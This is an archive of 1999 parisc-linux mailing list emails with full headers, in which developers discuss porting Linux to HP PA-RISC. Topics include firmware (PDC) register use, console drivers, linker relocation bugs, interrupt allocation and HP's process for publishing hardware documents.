How much of the PDC code actually uses interruptions ?

> THE UNKNOWN
> 
> Even if no one in HP objects to the new constraint on PDC, there is no
> guarantee that existing PDC doesn't modify the Temporary Control
> Registers.  No one is checking all the PDC implementations that have
> ever shipped to ensure that they meet the new restriction.
> 
> However, there is a chance that existing PDC does not modify the
> Temporary Control Registers, based on conversations with some
> relevent engineers, and some theorizing.
> 
> (Of course, the obvious exception is that the Temporary Control
> Registers are undefined when the kernel's HPMC handler is called.)

How is that obvious ?  I would have expected the firmware HPMC handler
to use some sort of temporary storage in the 0xffffe000 - 0xffffffff
range (which can be accessed using an immediate offset and GR0), in
the debug registers or something similar (probably it could even use
undefined spots in page zero).

> HP-UX does use some Temporary Control Registers for permanent
> storage.  It saves the values of these registers before calling
> PDC, and restores them when PDC returns.  I would recommend that
> Linux follow this practice.

Agreed.


	Philipp Rumpf


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad news, good news, unkown (Temp CR used as permanent storage)
Date: Sat, 4 Dec 1999 21:35:42 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <19991204213542.C19280@mathe.stud.uni-erlangen.de>
References: <199912032052.MAA02894@xsvr4.cup.hp.com> <199912032215.RAA01366@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618684 28839 80.91.229.3 (22 Nov 2014 01:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:24 +0000 (UTC)
Cc: Frank Rowand <frowand@cup.hp.com>, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Sat Dec  4 13:56:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA06387
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Dec 1999 13:56:38 -0700
Original-Received: (qmail 22450 invoked by uid 15267); 4 Dec 1999 20:58:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22443 invoked from network); 4 Dec 1999 20:58:41 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 4 Dec 1999 20:58:41 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 4 Dec 1999 21:58:39 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id VAA21712;
	Sat, 4 Dec 1999 21:36:42 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912032215.RAA01366@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6561

> On the subject of things possibly getting clobbered in PDC/IODC calls,
> I think the variable real_routine can get clobbered since it is used
> for more than one type of call.

Fixed by now.

> The good news is that I have made some improvement to the PDC/IODC
> console.  I have eliminated the double lines, 

How ?  There are quite a lot of ways to solve the two-consoles-which-are-
really-the-same problem, some of them just aren't very clean.  (Probably
the cleanest is to merge arch/parisc/kernel/pdc_cons.c and drivers/video/
iodccon.c into one file).

> and when the IODC console is configured, the system can now successfully
> print all stored messages and open /dev/console.

This was there before, wasn't it ?

> However, in making changes to iodccon.c, I realized that the IODC console
> is a really bad video console since you can't do cursor addressing.
> I think it would better to use the serial
> driver.

Sure it would, and I encourage everyone with a box using serial console to
clean up drivers/char/serial.c (it already should do everything you want,
it's just not clean) and use that.  The problem is there are boxes with
graphical consoles as well.

> Thoughts?

Where's the patch ;) ?


	Philipp Rumpf


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Still trying to get to sash on 735
Date: Sat, 4 Dec 1999 19:45:57 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <199912050045.TAA01366@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618685 28840 80.91.229.3 (22 Nov 2014 01:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec  4 17:44:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA07466
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Dec 1999 17:44:02 -0700
Original-Received: (qmail 8522 invoked by uid 15267); 5 Dec 1999 00:46:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8515 invoked from network); 5 Dec 1999 00:46:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 5 Dec 1999 00:46:00 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA01366
	for parisc-linux@thepuffingroup.com; Sat, 4 Dec 1999 19:45:58 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6562

The kernel hangs when it tries to run "init" on my 735.  The problem
occurs in create_som_tables at the first __put_user macro:

        __put_user((unsigned long) envp,++sp);

The values of envp and sp are 0x20000000 and 0x2000001c, respectively.

Any ideas?

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Still trying to get to sash on 735
Date: Sun, 5 Dec 1999 20:47:17 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <19991205204717.A22241@mathe.stud.uni-erlangen.de>
References: <199912050045.TAA01366@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618685 28841 80.91.229.3 (22 Nov 2014 01:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Sun Dec  5 13:42:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA14490
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Dec 1999 13:42:12 -0700
Original-Received: (qmail 2447 invoked by uid 15267); 5 Dec 1999 20:44:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2437 invoked from network); 5 Dec 1999 20:44:17 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 5 Dec 1999 20:44:17 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sun, 5 Dec 1999 21:44:14 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id UAA13584;
	Sun, 5 Dec 1999 20:48:17 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912050045.TAA01366@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6563

>         __put_user((unsigned long) envp,++sp);
> 
> The values of envp and sp are 0x20000000 and 0x2000001c, respectively.
> 
> Any ideas?

This is completely expected (our real-mode TLB insertion handler doesn't
handle anything but the 0xc000 0000 - 0xffff ffff range correctly) and will
be fixed soon.

	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:56 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03801
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:56 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:56 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id KAA20480
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 10:58:25 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id LAA04083
	for <pcj@primenet.com>; Wed, 10 Mar 1999 11:40:49 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd004026; Wed Mar 10 11:40:38 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA06813;
	Wed, 10 Mar 1999 12:23:27 -0500
Resent-Date: Wed, 10 Mar 1999 12:23:27 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <B782283A728ED011BBA2006097780D03F29186@COMA0S04>
From: "Mandachi, Dorin \(Omaha\)" <Dorin.Mandachi@cox.com>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] Bootstrap #3 successful
Date: Wed, 10 Mar 1999 12:15:32 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-Message-ID: <"6v8jy3.0.Jg1.Fggvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/164
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: ababe775777dbe902d7bb806498b8591
Lines: 45
Xref: merlin.pcj.primenet.com palinux:135

Also successfully booted a 715/100 from SCSI hd. 

Dorin Mandachi



-----Original Message-----
From: Jason Eckhardt [mailto:jason@equator.com]
Sent: Wednesday, March 10, 1999 11:12 AM
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Bootstrap #3 successful



I'm happy to report that bootstrap #3 passed for everyone who reported back
thus far, thanks for taking the time to help out. Network, disk, and even
ZIP drive boots worked. I'd like to see a CD-ROM test if someone has a
CDR drive available.

1) 780/C160       (disk)
2) 715/64         (BOOTP)
3) 816/E35        (disk)
4) 712/100        (disk)
5) 712/100        (SCSI ZIP drive!)
6) 715/33         (RBOOTD) 
7) 715/80         (?disk?)

This means that we now have a simple but functional bootstrap. We are ready
to load a real kernel instead of a dummy one!

Phil Schwan is helping to solve the ftp problems and I will be uploading
the latest working boot sources. I've also added GPL license stubs to
each source file, a mildly detailed README, etc.

Regards,
Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linker problems
Date: Sun, 5 Dec 1999 22:22:05 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <19991205222205.B22241@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618685 28844 80.91.229.3 (22 Nov 2014 01:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@abacus.uni-erlangen.de  Sun Dec  5 14:18:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA14930
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Dec 1999 14:18:34 -0700
Original-Received: (qmail 12081 invoked by uid 15267); 5 Dec 1999 21:20:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12074 invoked from network); 5 Dec 1999 21:20:39 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 5 Dec 1999 21:20:39 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP for parisc-linux@thepuffingroup.com; Sun, 5 Dec 1999 22:20:37 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id WAA15277
	for parisc-linux@thepuffingroup.com; Sun, 5 Dec 1999 22:23:06 +0100
X-Mailer: Mutt 1.0pre3us
Xref: news.gmane.org gmane.linux.ports.parisc:6564

Okay, it looks like HP/UX ld is behaving funny for some things in the 2.3
kernel.  Most notable fs/buffer.c, buffer_init:

Assembly source piped to gas:
	addil LR'hash_table-$global$,%r27
	copy %r1,%r12
	addil LR'bh_hash_shift-$global$,%r27
	copy %r1,%r10
	addil LR'zonelists-$global$,%r27
	comib,>>= 1,%r3,L$4451

Generated object file (objdump -d --reloc fs/buffer.o):
      84:   2b 60 00 00     addil 0,dp,%r1
                        84: R_DP_RELATIVE       hash_table
      88:   08 01 02 4c     copy r1,r12
      8c:   2b 60 00 00     addil 0,dp,%r1
                        8c: R_DP_RELATIVE       bh_hash_shift
      90:   08 01 02 4a     copy r1,r10
      94:   2b 60 00 00     addil 0,dp,%r1
                        94: R_DP_RELATIVE       zonelists
      98:   8c 62 80 30     cmpib,>>= 1,r3,b8 <buffer_init+0xb8>

vmlinux (objdump -d --reloc vmlinux):
c0063884:       2b 70 30 00     addil 21800,dp,%r1
c0063888:       08 01 02 4c     copy r1,r12
c006388c:       28 0f 70 00     addil 5f800,r0,%r1
c0063890:       08 01 02 4a     copy r1,r10
c0063894:       2b 77 50 00     addil 6e800,dp,%r1
c0063898:       8c 62 80 30     cmpib,>>= 1,r3,c00638b8 <buffer_init+0xb8>


Note that 
	addil LR'bh_hash_shift-$global$,%r27
	copy %r1,%r10

ultimately becomes addil 0x5f800, _r0_, %r1, which doesn't make sense (and
causes a DPF lateron).

I haven't found anything obvious that could explain it in the linker source,
but I haven't looked too closely at it.

Sorting this out is pretty much required to get 2.3 up (otoh, we're getting to
buffer_init which is relatively far (into the parts that have changed heavily)).

Any ideas ?


	Philipp Rumpf


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/conf/machine header files
Date: Mon, 6 Dec 1999 00:27:08 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <19991206002708.A16979@mathe.stud.uni-erlangen.de>
References: <199912030047.QAA13676@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618686 28846 80.91.229.3 (22 Nov 2014 01:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Sun Dec  5 16:23:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA15689
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Dec 1999 16:23:38 -0700
Original-Received: (qmail 14425 invoked by uid 15267); 5 Dec 1999 23:25:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14418 invoked from network); 5 Dec 1999 23:25:42 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 5 Dec 1999 23:25:42 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 6 Dec 1999 00:25:40 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id AAA17726;
	Mon, 6 Dec 1999 00:28:09 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912030047.QAA13676@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6565

> This directory seems to be a gold mine of information about hardware.

One extremely interesting piece of information for those interested in the
PA2.0 port:  64-bit virtual addresses are 42 bits per quadrant only and
start at the smallest address in the quadrant - so unlike alpha where the
addresses are "sign-extended".

	Philipp Rumpf


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] txn_alloc_irq() change
Date: Sun, 5 Dec 1999 22:31:16 -0800 (PST)
Lines: 59
Approved: news@gmane.org
Message-ID: <199912060631.WAA16626@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618686 28849 80.91.229.3 (22 Nov 2014 01:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sun Dec  5 23:26:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA17657
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Dec 1999 23:26:36 -0700
Original-Received: (qmail 19926 invoked by uid 15267); 6 Dec 1999 06:28:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19919 invoked from network); 6 Dec 1999 06:28:37 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Dec 1999 06:28:37 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA14174
	for <parisc-linux@thepuffingroup.com>; Sun, 5 Dec 1999 22:28:35 -0800 (PST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA16626; Sun, 5 Dec 1999 22:31:16 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6566

Hi parisc devotees,
I was working through Message Signalled Interrupt (aka TBIs) allocation
and realized our current txn_alloc_irq() implementation needs to accepted
at least one parameter. The parameter would indicate a (one of two)
capability of the caller's device. Returning a negative irq indicates
the host can't support the device because the host doesn't have a
compatible resource.

Here's the comment I added:
        /* Allocate processor IRQ
        ** The alloc_irq needs to accept a parameter to indicate how many
	** bits the irq data is restricted to use. This is a HW limitation
	** of the various consumers of Message Signalled Interrupts:
        ** Legacy PA I/O (GSC/NIO): 5 bits (architected EIM register)
        ** V-class (EPIC):          6 bits
	** N/L/...-class:           8 bits
        ** PCI 2.2 MSI:             16 bits (I think)
	** Existing PCI devices:    32-bits (NCR c720/ATM/GigE/HyperFabric)
        **
	** On the service provider side:
	** o PA 1.1 (and PA2.0 narrow mode)	5-bits (width of EIR register)
	** o PA 2.0 wide mode			6-bits
	** o other architectures?
	**
	** So a Legacy PA I/O device on a PA 2.0 box can't use all
	** the bits supported by the processor...and the N/L-class
	** I/O subsystem supports more bits than PA2.0 has. The first
	** case is the problem.
        */
        vi->vi_txn_irq = txn_alloc_irq(8);      /* number of bits */

        if (vi->vi_txn_irq < 0)
                panic("couldn't get TXN IRQ\n");

        /* enable_irq() will use txn_* to program IRdT (PAT only) */
        vi->vi_txn_addr = txn_alloc_addr(vi->vi_txn_irq);
        vi->vi_txn_data = txn_alloc_data(vi->vi_txn_irq);
	ASSERT(vi->vi_txn_data < 256);	/* matches 8 above */
...


In addition, I would like folks to tell me if we should add a second
parameter to indicate how "wide" the "txn_addr" can be. I had assumed
the width of a host processor pointer address but cards may not support
enough bits (ie 32-bit card won't work on system which wants 40-bit or
44-bit physical addr). AFAIK PA-Risc systems have processors aliased to
below 4GB physical address and thus it won't be an issue for our port.
But other architectures do support MSI and it seems easy to avoid
nasty surprizes later.

Thoughts?

thanks,
grant

ps. This module is mostly written (still a few compile problems) but
    won't be published until after the IA64-linux gets published.
    Sorry about that...


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP parisc documents
Date: Mon, 06 Dec 1999 12:05:11 -0800
Lines: 94
Approved: news@gmane.org
Message-ID: <199912062005.MAA17220@milano.cup.hp.com>
References: <87FB8F5CE210D311B60500A0C9F4871C4B4921@xcup01.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618686 28852 80.91.229.3 (22 Nov 2014 01:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "BENKE,FRANK \(contractor\)" <frank_benke@non-hp-germany-om4.om.hp.com>
Original-X-From: grundler@cup.hp.com  Mon Dec  6 13:00:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA23724
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Dec 1999 13:00:44 -0700
Original-Received: (qmail 9066 invoked by uid 15267); 6 Dec 1999 20:02:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9056 invoked from network); 6 Dec 1999 20:02:43 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Dec 1999 20:02:43 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA01293
	for <parisc-linux@thepuffingroup.com>; Mon, 6 Dec 1999 12:02:33 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id MAA17220; Mon, 6 Dec 1999 12:05:12 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Dec 1999 18:59:58 PST."
             <87FB8F5CE210D311B60500A0C9F4871C4B4921@xcup01.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6567


Frank,
Mike Balma forwarded your e-mail to me. I saw Mike's first reply
and he touched on the answer. I'd like to expand on that and share
it with the parisc-linux community.

"BENKE,FRANK (Non-HP-Germany,om4)" wrote:
...
 
> one issue which came to my attention is that communication through the
> puffin group , resp.  alex de vries works not quite optimal, and i was
> asked if there is another way to directly receive technical docsthrough
> hp - germany . is there a way ? ... since the german parisc developers
> feel quite uncomfortable.

The problem is not with TPG or Alex DeVries.

The problem is the technical docs where never written for public
consumption and not well maintained. Before publishing these documents,
it's in both HP's and parisc-linux developers interest both issues get
addressed. Below, I explain the general process of getting a document
published.


And later, Frank also wrote:

> 1.st The Communications Issue : well, several of the german developers
> complained about some difficulties, but if grant has the usual internal
> resources that should be right appropriate and I suppose the guys, having
> questions could ask him directly, if the process through the puffingroup
> takes to long. as far as i know grant is online within the linux.net
> anyway.

That's correct. Myself, Frank Rowand, Paul Bame, and others do take
questions and try to answer them. Heck, we even just post our opinions
without being asked (especially me ;^). Please post questions to parisc-linux
mailing list and generally they will get answered the same day by someone
or even several people. Several *very* knowledgable HP folks are watching
this list and I consider myself a "newbie" (after 6 years!) to that "group".


...
> according to my presence at several linux events, I was simply asked by
> some of the german pa-developers and since I'm not informed about hp's
> policy on that I simply want to understand the process. the problems I
> was told about, were that comunication through alex lack in efficiency
> and some people asume that alex is anxious about whatever. politics !


The problem is not politics - it's business. HP needs to make money.
And publishing docs won't generate revenue for the divisions which
"own" the documents. So it's up to volunteer efforts address both issues.

Here's the general process:
o locate the latest editable revision of the document. For stuff more
  than a one or two years old this can be a problem (eg ASP, WAX, Uturn).
o locate the editing tool (version X of interleaf) and convert it to
  a useful format (eg FrameMaker or whatever).
o remove references to engineers, Project names, etc.
o remove references to "Intellectual Property" (IP) HP doesn't own.
o remove IP which HP doesn't want published (eg trade secrets)
o correct known errors
o forward document to manager for review
o forward document to a company attorney for review. They will verify
  no IP or copyright infringement has occurred.
o publish pdf/postscript by forwarding it to TPG and they post it.
  (also look at devresource.hp.com)

Getting a manager and attorney to review documents best suited for
bedtime reading is like pulling teeth. And I'm not sure how they
get compensated for it. But they certainly aren't doing it in their
spare time. So this whole process takes several monthes before
The Puffin Group ever sees a document.

People will question why we don't publish techinical documents in their
current form if eveyone is unhappy about the process. The answer
is HP management *tolerates* the current process. HP will get a
severe "allergic reaction" to the first lawsuit resulting from
publishing documents for older products. Forget trying to publish
any documents without a "business case" to support the action
from that point on.

Lastly, check parisc-linux archives...most issues have come up at
one time or another. Things change and it may be worth raising
an issue (like this one) again. But knowing the background will improve
the quality of the dialog.

hope this helps,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker problems
Date: Mon, 6 Dec 1999 20:38:56 +0100
Lines: 5
Approved: news@gmane.org
Message-ID: <19991206203856.A7709@mathe.stud.uni-erlangen.de>
References: <19991205222205.B22241@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618686 28855 80.91.229.3 (22 Nov 2014 01:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Dec  6 13:54:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA24130
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Dec 1999 13:54:02 -0700
Original-Received: (qmail 4361 invoked by uid 15267); 6 Dec 1999 20:56:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4349 invoked from network); 6 Dec 1999 20:56:06 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Dec 1999 20:56:06 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 6 Dec 1999 21:56:00 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id UAA07724;
	Mon, 6 Dec 1999 20:39:56 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991205222205.B22241@mathe.stud.uni-erlangen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6568

I just verified that the problem exists with the linker as compiled from the
GPL'd source (which required some minor modifications to the CVS ld).

	Philipp Rumpf


